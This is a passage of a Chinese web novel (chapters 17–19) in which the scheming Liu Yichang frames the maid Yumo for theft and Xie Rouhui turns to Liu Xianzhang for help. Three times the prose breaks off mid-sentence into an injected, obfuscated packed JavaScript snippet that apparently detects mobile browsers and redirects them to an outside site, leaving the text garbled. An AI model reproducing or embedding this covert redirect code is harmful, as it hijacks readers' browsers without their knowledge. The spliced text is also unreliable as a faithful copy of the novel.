柳奕昌撞上她冷若冰霜的视线,焦急道:“你若觉得不好,我们还可以再商量,别动怒。” 谢柔徽挑眉,将玉茉递来的匣子扔还给他。 “二公子清点吧,里面的东西原封未动,一并还给你。既然二公子有意与我划清界限,便从此刻开始吧。” “我……不是这个意思,柔徽妹妹你别生气,玉茉,你还不快劝劝你家小姐。”柳奕昌抱着匣子不知如何解释,病急乱投医竟指望上了玉茉。 可玉茉只顾搀扶着自家小姐越走越快,将他的话视作耳旁风。 柳奕昌呆怔站在原地,也不知到底哪句话惹恼了柔徽妹妹。 回去后,玉茉悄悄道:“小姐方才说的那些话可真解气,您瞧见二公子刚才的脸色了吗?” 她捂着嘴偷笑。 谢柔徽疑惑侧目,“你都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢柔徽蹙眉:“你这话是什么意思?” 柳奕昌苦心劝导:“你若是回心转意,愿答应上回的条件,我也可替你摆平这件事,娥娇就算看在我的面子上也会收敛许多,你也可继续去书院念书,不必再让你的丫鬟在府里四处打听马车的事。” 谢柔徽动动嘴唇,却一时没说话。 她完完全全怔住了。 世上竟有如此厚颜无耻的人。 他方才说的那一席话可是在威胁她吗? 谢柔徽只觉光看着他的脸就一股酸呕之意涌上胸口,用力抚了两下,撇开视线冷冷道:“我自己的事不必二公子操心,玉茉,送客!” 柳奕昌还想纠缠,玉茉却横插一脚挡在两人中间,根本不给他触碰到谢柔徽的机会。 柳奕昌懊恼地看着谢柔徽的背影,偏偏她的小丫鬟展开双臂拦在眼前,唠叨着让他尽快离去。 这一刻,他当着下人的面,颜面尽失。 既羞且恼,像极了当日柳娥娇当众点破他心事那样。 恨意丛生,他大喝道:“你别后悔!” 谢柔徽正扶着门框一只脚已然迈进院门,听到他半晌后憋出这句话,“扑哧”笑了出来,提裙进门。 那声饱含讥讽之意的嗤笑犹如一个响亮的耳光甩在柳奕昌脸上。 柳奕昌霎时目眦欲裂,“现在拿乔装样,总有一天我会让你跪着来求我!” 谢柔徽在门里头等了会儿,问稍晚些才进门的玉茉,”他走了吗?” 玉茉撇撇嘴,“刚走呢,走之前还逮着咱们门前的那颗歪脖子树泄愤,真是造孽,那棵树长那么大多不容易,被他弄掉了好多叶子呢!” 谢柔徽觉得这一次的火候正好,柳奕昌这般爱面子的人应该知难而退了。 17. 第 17 章 二月末,涁州学政主持的院试结束,柳显章不仅顺利通过了院试,还一举摘得涁州案首。 以柳显章的才学,众人已预料到了这个结果。 不过,柳老夫人依然十分欢喜,不仅给他备了一份厚礼,还将旧宅处的丰祥绸缎庄指给了他。 那可是日进斗金的庄子,柳老夫人就这么绕过两个儿子,直接做主给了长孙。 柳泽盛并未有什么不满,只是趁着母亲在兴头上,禀告了另一桩喜事。 原来他这段时日一直在外经营,终于搭上了刘裕庆这条线。 刘裕庆是江宁的提督织造太监,专职负责采办御用的丝织用品,在江宁也是个只手遮天的人物。 若最终能得他特许,柳家或许能垄断涁州的大部分丝绸供货渠道。 到那时,柳家的盈利自然也不能同日而语。 柳泽盛说完,双眸带有期待地看向柳老夫人。 可柳老夫人并未如他预想的那样惊喜。 柳老夫人并不是寻常人家大门不出二门不迈的妇人,只顾眼前的利益。 她年轻时走南闯北,在商海中摸打滚爬了半辈子,早已看出问题的关键,现下更是一语中的道:“刘裕庆怎舍得轻易分一杯羹给你?我曾与他打过交道,那是个雁过拔毛的精明人,自家外甥都占不得便宜的主。” 柳泽盛道:“他有一房小妾是涁州人,我先结识了她娘家舅子,请了两次,允诺了好处,熟络后才让他帮忙引荐,而且那小妾颇得刘裕庆的宠爱,吹了几回枕边风,终于让刘裕庆同意见我一面,我使了五千两银子和两处外宅给他做见面礼,后又主动答应事成后补给他五万两,往后货款四六分账,他并未拒绝,我看他的态度似是有些松动。” 柳老夫人是见过大场面的人,饶是如此,听到那优厚的条件后还是瞠了目。 缓过来仔细想想,这些条件能成事已是天大的便宜。 多少富贾想与皇商往来还求之不得。 可柳老夫人还是对此事不太乐观,“刘裕庆并不是个信守承诺的人,何况他也并未直接答应你,如今还不松口恐怕是想多榨些好处,日后随时有可能翻脸不认人,你又能将他如何?” 柳泽盛抿紧了唇,坐在下首沉默半晌,方才道:“母亲教训的是,此事还欠考虑,我应有十成的把握再来与母亲禀告。” 柳老夫人闻言在心内叹息一声。 这个次子,虽不是她亲生,可也是从小抱养在身边,怎么性格就和他哥哥这般天差地别。 柳同勋去的这半年时间,柳泽盛也将家中生意打理得井井有条,早出晚归,日夜操劳,从未懈怠过。 柳老夫人想,虽不是亲生子,可没有功劳也有苦劳,还是不要一味地抹煞他的信心,便温声道:“这只是我一己之见,许多年未与那刘裕庆接触过了,这事便由你做主好了,只是与官家打交道务必小心谨慎,不要勉强。” 柳泽盛颔首,待了一会儿后便要告辞离去。 可柳老夫人却忽然想到什么叫住了他。 柳泽盛速速回头,可柳老夫人这次所说却不是无关他,而是他的长子柳奕昌。 “昌哥儿与章哥儿年纪差不了多少,一同开蒙,我看他也不是脑子粗笨的孩子,怎么考了这么多次,回回不过的?你这做父亲的,也不要一门心思在生意上,也多关心关心自己的儿子,督促他勿要因为贪玩而耽误了学业。” 柳泽盛脸色十分难看,低声喏道:“让母亲劳心了,我一定记得此事。” 从老夫人的院里出来,柳泽盛带着一肚子的气回了房。 庞氏正揪着两名丫鬟问话,“怎么就不见了?开春时收拾箱柜时我还瞧见了,那玫瑰紫的褶裙是宫缎织的,料子不同,怎么放也混不了,你们可认真找了?” 两名丫鬟哪敢说不认真,笃定了已将箱柜翻了一遍,那褶裙确实不在里面。 庞氏又气又怒地拧着其中一人的耳朵道:“胡说!当着我的面就敢说谎,现在就给我翻!” 丫鬟一边哭一边辩解,屋内一时吵扰不休。 柳泽盛本就心烦,瞧见这一幕便蹙眉道:“吵吵闹闹像什么样子,下人若是偷东西便打了板子发卖出去,你什么身份跟她们动手?” 庞氏看到自家夫君进门,注意到他脸上有躁容,便不敢惹他,撒开手让两名丫鬟站到外边去。 柳泽盛转告她,“老太太说章哥儿过了府试,想办一场家宴为他庆贺,我大哥不在家,照例还是由你来操办。” 庞氏操持这种琐事来得心应手,略一思忖道:“那还像往常那般,设在紫雁阁,请老太太喜欢的那家酒楼大厨,请上几家亲朋好友,摆十桌。” 这种家族的小型宴会倒也不用大操大办。 柳泽盛点了点头,“可以。” 庞氏又问:“那咱们要送什么给章哥儿做贺礼?” “这种事你定就成了,不必来问我。”柳泽盛坐下喝茶,语气中有显而易见的不耐烦。 正说着,刚从外面晃悠回来的柳奕昌进门,见到母亲悄悄给自己打手势,一侧目,父亲竟也在,马上放轻脚步要溜。 “滚回来!” 看到那自家不争气的儿子做鬼鬼祟祟状,柳泽盛当即一声怒喝,吓得柳奕昌险些摔了一跤,俯首帖耳地走到面前来,整个人窝窝囊囊的,没有半点清爽利落的模样。 柳泽盛恨铁不成钢道:“没用的东西,何时为老子争口气?每日不是琢磨吃就是琢磨玩,书都读到狗肚子里去了!你看看你大哥,人家不过虚长你几个月,怎么就比你有出息?三棒子打不出一个屁来,滚吧,别待在我眼前丢人现眼了!” 柳奕昌莫名其妙挨了一顿臭骂,心中委屈至极,抬眸注意到母亲向他摆手,示意他父亲今日心情不佳,让他赶紧照做。 柳奕昌便向父亲躬身喏了一声,赶紧走出去,恰好看到两名丫鬟在挨罚。 那两名丫鬟只管正房的杂物,手脚都挺麻利的,从未出过错。 柳奕昌回首偷瞥父亲位置,便向婆子悄声问了一句。 婆子道:“这两个贱皮子手脚不干净,偷拿了二奶奶的衣裳卖了,柳府容不得这种偷鸡摸狗的事,二爷放话要将这两人赶出府去。” 两名丫鬟泪流满面,高呼冤枉。 婆子抬起二指宽的木条抽过去。 只见那凝脂般的肌肤转眼就红肿高涨起来,两人的牙齿几乎都松动了。 柳奕昌心中惴惴,一言不发地奔回自己房里,抓住自己的贴身小厮命令道:“快将那箱子藏起来。” 小厮撅着屁股将箱子推入床底,又塞了一沓画纸,将床褥往下扯了扯,庆幸道:“还好没将东西送出去,要不然谢小姑娘就算生了十张嘴也彻底说不清了。主子您说,二奶奶怎么就突然想起穿那件裙子了?” 他自说自话了半天没人搭理,回头一看,柳奕昌似是在低头沉思,眸中奇异光彩闪动,忽而命他道:“闭紧了嘴巴,此事别让旁人知道。” 小厮当然不会没事去找不痛快,很快将此事抛到了脑后。 柳府请了亲朋庆贺,在紫雁阁办了一场家宴。 可能柳老夫人高兴过了头,竟还额外邀请了谢柔徽去。 玉茉将这事转告给她时,她还有些不敢相信自己的耳朵。 玉茉问她,“那……咱们去吗?” 谢柔徽只犹豫了一瞬,拍桌子斩钉截铁道:“去!为何不去?” 颜镜棠正式嫁入了柳家,她自然也算是柳家的一分子,又不是见不着光的身份。 这些时日她也想清楚了,反正该来的总会来,不如干脆利落地提早迎上去。 紫雁阁离得有些远,谢柔徽本做好了走过去的打算。 谁知玉茉不知从何弄来一顶小轿子,笑着催促她上去。 那两名轿夫她看着有些眼熟,没等细想已经让玉茉推了上去。 就这么晃晃悠悠地一路到了紫雁阁。 下轿时,谢柔徽看到玉茉从钱袋里掏出了碎银给两名轿夫。 玉茉的月例不算多,担不起这样的开支。 唯一的可能就是玉茉动用了颜镜棠补贴的钱,然后拿来给她助长声势。 谢柔徽有些感动,毕竟玉茉一家子老小,平时数着铜板度日。 玉茉却浑不在意,“奴婢跟小姐相依为命,对小姐好就是对奴婢自己好。” “玉茉……” 两人交握双手,眼中仅有彼此。 耳畔却忽然传来一声十分煞风景的嗤笑, ”你们瞧瞧,不愧是乡下的野丫头,主不主,仆不仆的,大庭广众和个下人做起姐妹来了,真是丢死人了。” 玉茉下意识想抻回手,却被谢柔徽用力地拖到胸前。 谢柔徽对玉茉笑了笑,然后就将脸转向另一侧,故作惊讶地看着柳娥娇道:“娥娇姐姐?好久不见,怎么你身边这两位丫鬟看起来十分陌生,从前那二位呢?” 柳娥娇心中搁不住事,被她刺了一下就激动起来,全靠两名丫鬟左右抱着胳膊,“今日二奶奶、二爷和老太太都在呢。” 柳娥娇考虑了后果,对她甩了一句,“等着瞧!”然后踩着重且响亮的步子越过她先走了进去。 谢柔徽跟在她身后进去,两人同坐一桌。 柳娥娇对她比着威胁的手势。 她就将视线转开。 柳娥娇在对面怪叫一声,气她竟敢忽视自己。 谢柔徽没时间理会柳娥娇,她全心全意地盯着首位的老妇人。 那老妇人两鬓花白,肌肤细纹可见风霜,可她腰背挺直,精神矍铄,丝毫看不出老态,此刻对着站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844122|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在面前的长孙笑得十分慈祥。 柳显章过五关斩六将夺得案首,又得祖母宠爱,意气风发,冷白的面孔也被熏染出了喜意。 这样祖孙慈和的景象,谢柔徽忽然想起来了自己的奶奶,小时候逢年过节,奶奶就会拉着她的手,等她说完吉祥话,就从口袋里掏出用皮筋绑着一卷钞票递给她。 谢柔徽揉了揉眼睛,回过头,柳娥娇正对着她吐舌头。 刚激起的那点泪意马上憋回去了。 柳娥娇竟是镇定情绪的一剂良方,只要看到她,什么悲伤之情立即烟消云散,唯余看傻子般的同情无奈。 主桌那几位说着贺语,一时不能动筷。 谢柔徽直直坐着发呆,脚边的椅子忽然被人抽动,她抬起头去看, 柳奕昌刚好落座,黝黑的脸庞沾了些醉态的酡红。 男眷理应与她们分开坐才是。 可家宴上没人讲究避讳,就给了柳奕昌可趁之机。 谢柔徽嗅到一丝酒气,回首看主桌那些人正结束敬酒。 她抄起筷子自己安静用餐,准备吃饱了尽快回去。 身旁那位却在桌案下大胆地扯了扯她的衣裳下摆。 谢柔徽立即将座椅往远处挪了挪,拧眉瞪他。 酒烈也烧不穿她冷冰冰的视线。 柳奕昌吞下一口沉闷的郁气,低声道:“柔徽妹妹,你可回心转意了?” 谢柔徽捂住鼻子道:“二公子到底喝了多少酒?嘴里的味道很是熏人呢。” 柳奕昌彻底死心,也不再说话,攥着筷子木头似的盯着桌面发呆。 待到中途,有人开始因故退席时,谢柔徽也生出离开的心思,对着身后的玉茉使了个眼神,便提裙站起。 只是还不等她迈步,身旁的柳奕昌竟也唰地站起,两人撞作一团,桌上酒杯碗筷被殃及,噼里啪啦掉落一地。 柳奕昌伸手拉她,被谢柔徽当机立断躲了过去。 此时房里长辈均在,特别是柳老夫人,本就对她的存在颇有微词,现下更得注意些。 谢柔徽握着玉茉的手站起,前半身被菜汤染得五颜六色,与画布无异。 庞氏匆匆走来,埋怨柳奕昌道:“怎么走路这般不小心?” 她转向谢柔徽,哎,“先去我那换身衣裳吧。” 谢柔徽用手帕把菜汤简单擦了擦,“没事的,奕昌哥哥也不是有意,我本是坐轿子来的,速去速回就是。” “好,我这正忙着,实在抽不出时间送你,乖女,你回去后赶紧换下这身脏衣裳,回头让你二哥赔你一身新的!”庞氏回首,对着同样一身狼狈的柳奕昌道:“发什么呆,还不回去换了去。” 柳奕昌不知心中在想些什么,反应奇慢,被母亲提醒后哦了声。 谢柔徽这身衣裳是裁的料子新制的,眼下沾了菜汤和油污,八成是毁了。 回去的路上,玉茉无不可惜道:“这衣裳才穿了一次,说什么也要让二公子赔您一件新的,您说,二公子是不是故意的?路这么宽,非得挤着您这处走。” 柳奕昌今日喝了不少的酒,都说酒壮怂人胆,若不是醉了,恐怕也不会在家宴上刻意刁难她。 不过谢柔徽还是对他颇有些不屑。 没想到柳奕昌会与柳娥娇一般幼稚,尽使一些下作的小手段。 回去后,玉茉指使婆子烧水给谢柔徽洗浴,自己抱着换下来的衣裙,和梳儿两人去琢磨在不伤衣料的情况下去掉那些污渍。 谢柔徽洗漱后,那两人还未归,就谢绝了婆子的帮忙,自己用干布包着长发擦了两回,仍是湿漉漉的,索性披在身后,等晾干后再睡。 她留的头发将近及腰,晾干还需漫长的时间,便走到书桌前点了油灯,从堆叠的书中挑了一本读。 半个时辰后,玉茉推开门探头探脑,看她未睡便走进来,沮丧道:“那织金的料子沾不得水,奴婢们试了好多种法子也去不掉那油渍,那衣裳是彻底废了。” 谢柔徽一目十行,翻了书页道:“没事的,你今日也累了,快去歇着吧。” 那衣裙虽然贵重,但颜镜棠离去前私下给了她不少银钱,也不至于省吃俭用的地步。 夜不知不觉的深了,谢柔徽摸着头发半干,看窗外,各屋里都熄灯熟睡了,便撂下书准备也歇下。 岂知刚睡下,正要入梦时,谢柔徽便模模糊糊听到外头有人在叫门。 那声响越来越大,砸得门板剧烈震颤。 耳房里的玉茉带着睡意走出来,被凉风一激,登时清醒过来,拢了肩头的衣裳,咕哝道:“谁这么晚了还来叫门,别敲了,来了来了!” 她透过门缝看到摇曳的火光,卸下门栓,拉开了两道门板。 却见门外一群婆子个个凶神恶煞,毫不客气地推开她,一拥而入。 18. 第 18 章 带头的婆子玉茉曾见过,经年累月在正房里伺候,在老夫人面前也说得上话。 念着这一重,玉茉虽大半夜被吵醒满肚子火气,还是得客客气气地问道:“外头可是出了什么事?劳烦您这大晚上的来枕竹居。” 婆子斜眼打量她,用一种轻慢的表情与旁人道:“将她看住了,别让她有机会动手脚破坏证据。” “你这话是什么意思,什么证据?”玉茉还未反应过来,已经被左右包夹上来的仆妇拖住,她猛地挣扎了几下,却被反剪了手臂彻底按在台阶上。 玉茉鱼跃般挺了两下身子,不仅没能挣脱,还被婆子按住了头,脸皮直接和粗糙的台面摩擦了一下,疼得她撕心裂肺。 仆妇方才被她的手肘顶到,报复性地狠狠拧了她一把,唾骂道:“小贼妇,还装!” 她蹲下来,双手顺着玉茉的裤管往上摸。 玉茉浑身起了一层鸡皮疙瘩,不住叫骂。 谢柔徽听见声响,匆匆披着衣裳出来,来不及拢住的长发散在胸前,瞧见这触目惊心的一幕,又惊又怒道:“住手!你们凭什么对她动粗!” 玉茉犹如瞧见了救星,“小姐,救我!” 婆子待谢柔徽尚且存着面上的恭敬,使了个眼色让放人,然后皮笑肉不笑地解释道:“老奴也不想在这深夜将您吵醒,可实在是没办法的事,二公子宴后发觉一直随身携带的小金佛遗失了,少不得惊动老夫人,命人沿着原路回紫雁阁未找到,二公子忽然记起退席时与您不慎碰了一下,当时二公子忙着掸衣裳,想着没准是那时掉落了。” 玉茉爬起来立即站在谢柔徽身边,揉着酸痛的双臂。 谢柔徽护住玉茉,将她的袖子拉开,看到白净肌肤上赫然醒目的掐痕,气得胸前急遽起伏。 这简直不是在寻物,而是在单方面泄愤! “二公子丢了东西,你们却径直闯入枕竹居,还对玉茉强行搜身,这般态度怎么看都是料准了我们偷拿了金佛罢!” 谢柔徽冷言冷语,不给她丝毫情面,细瘦的肩头上披着外衣,身后烛光淡淡地镀了一层暖光,整个人便显得没有实际年龄那般弱小。 婆子来之前本想利落地将事了解,好快些回去复命。 可眼前这个年轻又娇柔的小姑娘却比她意想之中的难对付。 只好多与她解释几句,“姑娘您来府上的时间不长,这有所不知啊,那小金佛像是老太爷生前的遗物,金贵无比,后来才给了二公子,老夫人让二公子贴身佩戴,福佑加身,那东西不能轻易离体,所以咱们这么吃力不讨好的做什么。” “何况……”婆子笑了笑,“二公子今日并未外出,紫雁阁拢共那么大地,就差被翻过一遍了,那小金佛总不能长腿自己跑了吧?老太太看重金佛,命咱们务必找回来,老奴也是听命行事,还请您多体谅。” 她这话简直是明里暗里都在指向枕竹居。 谢柔徽虽不想招惹老夫人,可也容忍不了被人视作小偷,当即冷冰冰地下逐客令道:“你话也问过了,人也搜了,这里没有你要找的金佛,还请尽快回去吧。” 婆子油滑,岂是这么好打发的,秉持着伸手不打笑脸人的原则,语气十分客气道:“小姐您年轻,不知这世间险恶,那小金佛价值连城,不排除有贼心的下人捡了之后据为己有,而那贼子既做了亏心事,又怎么会轻易承认?既然咱们都来了,不如搜个彻底,也好还这位玉茉姑娘的清白不是?” 她说完后给后面几人努了努嘴,意有所指。 谢柔徽预感不好,“等等,你们——!” 那几名仆妇根本不顾她的劝阻,横冲直撞地闯入了玉茉所住的耳房之中。 几乎同时,屋内想起梳儿的惊声尖叫。 玉茉奔入房中时,梳儿已被仆妇压在桌上搜身。 梳儿不知出了何事,吓得周身震颤,满面是泪。 “别碰她!她没拿你们的东西!”玉茉知道那种被人当作犯人般的耻辱感,上去狠狠拽开那仆妇,做出拼死的姿态,坚决不让对方接近衣衫不整的梳儿。 仆妇不想在这种事上吃亏,便转移目标到屋内的杂物上。 这些人简直是抱着糟蹋东西的心思来搜捡。 叠放整齐的衣裳被褥被胡乱堆到地上,不时被人踩上几脚。 凡是上锁的柜子被她们暴力砸开,抻出抽屉便猛地倒扣,也不管里面盛放的东西是否易碎。 不出片刻,整间屋子被翻得一片狼藉,就连床底也不能幸免。 玉茉咬牙道:“这群母蝗虫……” 几人空手而出,谢柔徽质问道:“你们可都搜清楚了?” 婆子与仆妇们耳语几句,扭过脸对谢柔徽歉意道:“实在对不住,只怕那玉茉姑娘将东西藏到别的房里去了,咱们也不想冒犯,实在是有命在身,小姐您住的是这间吧?你们几个进去瞧瞧,小心着点,别碰坏了小姐的东西。” 仆妇们抬脚上台阶,却止步于谢柔徽身前。 谢柔徽并不相让,凝起视线,冷冷地扫过她们,“搜也行,可总得给个说法,若搜不出你们想要的东西,便一起到老太太那讨个说法,今日家宴,各个房里都去人了,你们可一一搜捡过了?凭什么盯着枕竹居的人不放,如此侮辱,我定要闹个黑白对错不可!” 窗纱透出的光影照在谢柔徽的小脸上,忽明忽暗。 婆子一时心里也打鼓。 她原先是不将谢柔徽视作主子的。 颜镜棠狐媚,虽嫁给了柳大爷,可不受老夫人认可。 连带着颜镜棠这个女儿也遭人轻视。 可如今看来,却是个不容小瞧的。 反正谢柔徽人一直在枕竹居中,插翅难飞,她又何必为了一趟差事将人得罪彻底。 婆子讪笑地让人退回来,“咱们不是疑心您,是怕手底下的人动手脚,那这样,今日的事到此为止,玉茉姑娘跟咱们去一趟老太太那,将话说清楚,您看这样可好?” 谢柔徽瞧过她们待人的手段,怎么会放心,断然拒绝道:“不行的,玉茉她根本没拿金佛,为什么要过去问话。” “呵呵,玉茉她也是柳府的下人,容不得她自己怎么想,何况,只是一同过去说几句话的功夫,又损失不了什么,小姐您未免太激动了些,若不知道状况,还以为您蓄意袒护呢!” 婆子话里夹枪带棒,偏生脸上带着笑颜,以柔克刚。 玉茉猛地从谢柔徽身后走出,“清者自清,我跟你们去就是!”她回过头安抚谢柔徽,“小姐不必担心,奴婢没拿那金佛,就算到了老太太面前也是这么说,谁也不能冤枉了奴婢。” 谢柔徽信得过玉茉为人。 那些婆子忙活了一宿没找到金佛,总也要给主子一个交代。 问话应就是个流程。 谢柔徽想着,便让玉茉同她们一起去一趟。 玉茉哼了声,推开仆妇,挺直腰杆率先往外走去。 婆子向谢柔徽告辞,一行人也出了院子。 谢柔徽被这一遭扰得彻底没了睡意,后半夜一直在床上翻来覆去,随时听着院子里的动静。 不知过了多久,她窥到天边的颜色已变作蟹壳青。 竟是天亮了! 她匆匆出门,遇见同样心焦走出来的梳儿。 两人眼底都有一抹暗沉。 “玉茉她回来了吗?” 梳儿摇摇头,“玉茉姐姐一夜未归。” 谢柔徽隐隐觉得不对劲。 寻常问个话可用得上这么久? 老夫人年纪大了,也不可能为了这种事熬上一宿啊。 昨夜那群婆子破门而入,声称负着柳老夫人的令,就这般轻率地将玉茉带走了。 谢柔徽越想越怕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856443|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕竹居地处偏僻,外界到底发生了什么事,一时三刻都传不过来。 她暗悔同意那些人带走玉茉。 若是玉茉出了什么事可怎么好? 院子里的另外的两个婆子见识到昨晚的阵仗,恨不得赶紧择清了自己,抱着敬而远之的心态,不知躲到了何处。 也只有梳儿愿意去打探消息。 谢柔徽揪着心等待梳儿回来,一个时辰后,当看到梳儿那难看至极的脸色时,谢柔徽心中有种尘埃落定的痉挛感,但还是忍不住要问,“玉茉为何还未放回来?她们是不是刻意刁难,还是玉茉说错了话让老夫人责罚了?” 梳儿只是流泪摇头,“昨晚上老夫人根本没见玉茉姐姐,那几个婆子直接将她押送到了柴房里关着,说是关到等她松口为止。” “她们又不能证明是玉茉偷拿的金佛,为什么要这样对待她!” 这种手段即是掌握了确凿的证据去逼迫犯人吐露真相。 梳儿抽抽搭搭道:“因为二公子的一句话,他说,他离开前似是看到了您和玉茉拿走了小金佛。” 柳奕昌! 谢柔徽恍然大悟。 为什么在紫雁阁丢失了玉佛,而大队人马却来枕竹居寻找。 果然是那个卑鄙小人在背后捣鬼。 什么遗失了金佛,八成是他自导自演,有意栽赃嫁祸! 她和玉茉从始至终就没看到什么金佛像,何来偷拿之举? 若柳奕昌咬死了和玉茉有关,那些人一定会严刑逼供。 耳边骤然响起柳奕昌那日脱口而出的警告。 他说过,他要让她后悔。 瞧,这不就来了。 谢柔徽面色一阵青一阵白,胸口处似是压住了一块巨石,喘不过气。 梳儿焦急道:“玉茉姐姐还关着,咱们要怎么救她出来?要不然咱们去找二公子吧,那金佛是二公子的,若有二公子去向老太太说情,没准她老人家就不追究了,也能将玉茉姐姐救出来。” 谢柔徽咬唇不语。 柳奕昌盼着就是这样吧。 先是柳娥娇,然后是柳奕昌。 她明明没有做错过什么,可他们偏偏揪着她不放! 梳儿没有主见,还在她耳边哭泣。 另两位婆子早早就跑出去了。 玉茉被抓走后,她竟没有一个能商量事情的人。 那柴房阴冷,玉茉走前又穿的单薄。 再拖延下去,玉茉定然要冻出好歹。 谢柔徽当机立断,伸手拂去梳儿脸上的眼泪,“随我走一趟!” 奴仆两人顶风打开门,料峭的寒风袭来,谢柔徽瑟缩了一下,将指尖收入袖中。 梳儿瞧见了,扭头跑回去,再度赶回谢柔徽身边时,她的臂间挽着一件外袍,生疏地尝试搭在谢柔徽肩头。 这种事,从来都是玉茉在做。 玉茉不在了,便由梳儿代替。 谢柔徽的目光坚定了几分,赶往某个方向。 梳儿诧异,“咱们不去找二公子吗?” 谢柔徽反手拢紧外袍,将压在底下的长发掏出来,简洁吐出二字,“不去。” 柳奕昌现在一定很得意,他的诡计得逞,玉茉被押走。 而她则陷入孤立无援的境地。 略施小计,用一个婢女作为代价,或许是对她的警告,或许是想逼她看清眼下形势。 也许去找柳奕昌求情不失为一个好方法。 可她脑后生了反骨,柳奕昌硬要她屈从,那她偏不! 柳奕昌说自己是她生存在柳府中的唯一依靠。 可她看未必! 这一瞬间,那双清冷潋滟的眸在她脑中一闪而过。 即使她要做莬丝花,也要自己选择宿主。 谢柔徽在心中祈祷,希望同一个招数还能在他身上奏效。 19. 第 19 章 东纨这日陪主子去围场,偶遇策马的宋家小公子宋瑛。 柳显章和宋瑛有些交情,两人又同样年纪,年轻气盛,都好争个高低,一拍即合便要赛上两场。 只是柳显章那把弓用着极不顺手,宋瑛看出他别扭,抬手叫停,不想胜之不武,让柳家下人回府取一趟柳显章惯用的那把长梢弓。 长梢弓一直挂在书房,这种重地寻常小厮进不去。 东纨忙得脚打后脑勺,赶回府去,还未进院门,就看到台阶上竟然坐着两个人。 其中一个见到他就“噌!”地站起来,局促不安地扯着衣摆。 另一个则不慌不忙的撑地站起,淡紫色衣裙寻常人穿着显老成,穿在她身上却相得益彰,多了几分甜美的娇态。 东纨迎上去一揖礼。 “下人们慢待了,怎么让您坐这了,快快请进。” “不怪她们,是我自己要坐在这的。”谢柔徽坐时间长了,小腿酥麻,扶着梳儿的手往里蹦着走,嘴上东扯西扯,说起今日阳光正好,她那间小院享受不到这么新鲜畅快的空气,许久不进正题。 东纨讪讪地笑,说起主子还在围场等着自己送东西,不便久待。 谢柔徽一听,摆手让他不必管自己,快去送东西,别让大公子等急了。 东纨见她和梳儿没有离开的意思,只好让丫鬟们好生伺候着,自己去书房取了弓箭包好,急匆匆出府。 等他赶到围场时间已经不早了。 两个小主子驱马从林子里出来,马背上搭着中箭的红狐狸。 宋瑛说着“现在天气冷,野兽都蛰伏不出,兜了两三圈才瞧见这么一只小狐狸,没劲透了。” 瞧这意思,两人要转战下一场了。 东纨还是将长梢弓递上去,捎带了一句,“小的回去时,谢小姑娘正和丫鬟坐在院门那等着,似是有什么事找您。” 宋瑛存着八卦的心思,多问了一嘴,得知谢小姑娘就是柳显章继母带来的那个女孩后,他向柳显章挤了挤眼睛,“你既然有事,那我就不耽误你了。” 宋瑛是个闲不住的,自然有别的去处。 柳显章听过东纨的话后,将弓箭负到背后,挽了缰绳吩咐道:“回吧。” 谢柔徽在院里等了许久也不见有人回,好在丫鬟们都很讲礼节,没有一人给她难堪。 她默默思忖着,东纨去了围场后肯定要将她在的事告诉给柳显章。 柳显章莫不是嫌烦干脆不回了。 他八成猜到自己有事相求了。 谢柔徽胡思乱想之际,听到院子里有动静,带着梳儿走出来。 柳显章正进门,身后跟着几名随从。 柳显章穿着利落硬挺的骑装,阔步而来,能看到脖颈上出来不少汗。 他本就皮肤白皙,这会儿更显得冰肌玉骨,白里透粉。 柳显章很快发现了翘首以盼的谢柔徽。 与谢柔徽打了个招呼后,他抬步进屋。 谢柔徽坐回原处,不知怎的,紧张得心脏砰砰乱跳。 她就这么莽撞地来了,还赖在人家地盘一下午。 堂屋里头有一道屏风隔着风光。 不过,没有这道屏风谢柔徽也不会瞪着眼睛乱瞧,只规规矩矩地坐在那等。 只是心中不免感叹。 柳显章不愧是柳老夫人的心头好,又是长子长孙,明显更受府里的重视。 屋内多数陈设格调清雅,可她这个门外汉也能看出来价值不菲。 果然,就算不论到了何处,人也是分三六九等的。 在柳府这片小天地里,柳显章若是云上的北斗星,那她就是低若尘埃里的末等小民。 不怪有人喜欢巴结权贵。 那上头的人稍微漏下来一点衣上的金粉,就够她吃得满嘴流油。 谢柔徽坐在待客的堂屋里,听不见内间动静,愈发心焦。 她捏不准柳显章是否愿意高抬贵手。 毕竟两人没什么实际的关系。 她搜刮大脑,计算着自己可能付出什么给柳显章。 绞尽脑汁,她不得不面对一个现实,柳显章是看不上她那点三瓜两枣的。 至于他愿不愿意趟这个浑水,全凭他的心情。 这次时间好歹比上次充裕了许多,不至于争分夺秒,她也能有更多时间去利用思考。 过了会儿,柳显章换了身云青的常服出来,袖袍略显宽大,空空荡荡的,倒有种清瘦的书生气,化解了方才一身骑装的凌厉。 他让东纨换了热茶和点心。 茶是黄山毛峰,茶汤清碧,香味醇厚。 而丫鬟端上来的玉盘盛着双色荷花酥和另一种她不知名的小点心,酥而不腻,从形状上便透着精致。 